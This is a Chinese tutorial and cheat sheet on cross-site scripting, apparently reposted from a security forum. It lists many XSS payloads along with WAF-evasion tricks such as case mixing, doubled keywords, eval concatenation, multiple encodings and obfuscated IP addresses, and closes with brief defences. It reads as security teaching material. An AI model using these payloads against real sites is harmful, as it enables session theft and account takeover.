簡述
XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意制造的網頁程序。這些惡意網頁程序通常是JavaScript,但實際上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
常用的XSS攻擊手段和目的
1.盜用cookie,獲取敏感信息。
2.利用植入Flash,通過crossdomain權限設置進一步獲取更高權限;或者利用Java等得到類似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的操作如發微博、加好友、發私信等操作。
4.利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
5.在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站,實現DDOS攻擊的效果。
分類
反射型
反射型跨站腳本(Reflected Cross-Site Scripting)是最常見,也是使用最廣的一種,可將惡意腳本附加到 URL 地址的參數中。
反射型 XSS 的利用一般是攻擊者通過特定手法(如電子郵件),誘使用戶去訪問一個包含惡意代碼的 URL,當受害者點擊這些專門設計的鏈接的時候,惡意代碼會直接在受害者主機上的瀏覽器執行。此類 XSS 通常出現在網站的搜索欄、用戶登錄口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙。
存儲型
持久型跨站腳本(Persistent Cross-Site Scripting)也等同於存儲型跨站腳本(Stored Cross-Site Scripting)。
此類 XSS 不需要用戶單擊特定 URL 就能執行跨站腳本,攻擊者事先將惡意代碼上傳或儲存到漏洞服務器中,只要受害者瀏覽包含此惡意代碼的頁面就會執行惡意代碼。持久型 XSS 一般出現在網站留言、評論、博客日志等交互處,惡意腳本存儲到客戶端或者服務端的數據庫中。
DOM型
傳統的 XSS 漏洞一般出現在服務器端代碼中,而 DOM-Based XSS 是基於 DOM 文檔對象模型的一種漏洞,所以,受客戶端瀏覽器的腳本代碼所影響。客戶端 JavaScript 可以訪問瀏覽器的 DOM 文本對象模型,因此能夠決定用於加載當前頁面的 URL。換句話說,客戶端的腳本程序可以通過 DOM 動態地檢查和修改頁面內容,它不依賴於服務器端的數據,而從客戶端獲得 DOM 中的數據(如從 URL 中提取數據)並在本地執行。另一方面,瀏覽器用戶可以操縱 DOM 中的一些對象,例如 URL、location 等。用戶在客戶端輸入的數據如果包含了惡意 JavaScript 腳本,而這些腳本沒有經過適當的過濾和消毒,那么應用程序就可能受到基於 DOM 的 XSS 攻擊。
無任何過濾情況下
一些常見標簽
PS:下面我列舉的標簽大部分是可以自動觸發js代碼的,無需用戶去交互,大部分情況下我們也是希望是自動觸發而不是等用戶去觸發,還有我測試的瀏覽器是火狐,Chrome,IE11.0,其它的瀏覽器沒有去測試,有興趣的師傅可以測試一下 =。=
<scirpt>
<scirpt>alert("xss");</script>
<img>
<img src=1 onerror=alert("xss");>
<input>
<input onfocus="alert('xss');">
競爭焦點,從而觸發onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發
<input onfocus="alert('xss');" autofocus>
<details>
<details ontoggle="alert('xss');">
使用open屬性觸發ontoggle事件,無需用戶去觸發
<details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需用戶去觸發
<select onfocus=alert(1) autofocus>
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
利用換行符以及autofocus,自動去觸發onscroll事件,無需用戶去觸發
<body
onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)> //僅限火狐
<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex>
<isindex type=image src=1 onerror=alert("xss")>//僅限於IE
利用link遠程包含js文件
PS:在無CSP的情況下才可以
<link rel=import href="http://127.0.0.1/1.js">
javascript偽協議
<a>
標簽
<a href="javascript:alert(`xss`);">xss</a>
<iframe>
標簽
<iframe src=javascript:alert('xss');></iframe>
<img>
標簽
<img src=javascript:alert('xss')>//IE7以下
<form>
標簽
<form action="Javascript:alert(1)"><input type=submit>
其它
expression屬性
<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
background屬性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
有過濾的情況下
過濾空格
用/
代替空格
<img/src="x"/onerror=alert("xss");>
過濾關鍵字
大小寫繞過
<ImG sRc=x onerRor=alert("xss");>
雙寫關鍵字
有些waf可能會只替換一次且是替換為空,這種情況下我們可以考慮雙寫關鍵字繞過
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接
利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top
<script>top["al"+"ert"](`xss`);</script>
其它字符混淆
有的waf可能是用正則表達式去檢測是否有xss攻擊,如果我們能fuzz出正則的規則,則我們就可以使用其它字符去混淆我們注入的代碼了
下面舉幾個簡單的例子
可利用注釋、標簽的優先級等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因為title標簽的優先級比img的高,所以會先閉合title,從而導致前面的img標簽無效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
編碼繞過
Unicode編碼繞過
<img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url編碼繞過
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii碼繞過
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex繞過
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八進制
<img src=x onerror=alert('\170\163\163')>
base64繞過
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
過濾雙引號,單引號
1.如果是html標簽中,我們可以不用引號。如果是在js中,我們可以用反引號代替單雙引號
<img src="x" onerror=alert(`xss`);>
2.使用編碼繞過,具體看上面我列舉的例子,我就不多贅述了
過濾括號
當括號被過濾的時候可以使用throw來繞過
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
過濾url地址
使用url編碼
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
1.十進制IP
<img src="x" onerror=document.location=`http://2130706433/`>
2.八進制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
4.html標簽中用//
可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
5.使用\\
但是要注意在windows下\本身就有特殊用途,是一個path 的寫法,所以\\在Windows下是file協議,在linux下才會是當前域的協議
Windows下
Linux下
6.使用中文逗號代替英文逗號
如果你在你在域名中輸入中文句號瀏覽器會自動轉化成英文的逗號
<img src="x" onerror="document.location=`http://www。baidu。com`">//會自動跳轉到百度
如何防止xss
- 過濾一些危險字符,以及轉義
& < > " ' /
等危險字符 - HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無法竊取此Cookie。
- 設置CSP(Content Security Policy)
- 輸入內容長度限制
后記
感覺總結的不是很全面,以后會查漏補缺,如果有師傅發現錯誤之處,還望斧正
Reference
https://html5sec.org/
很全的xss總結
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
原文地址:https://xz.aliyun.com/t/4067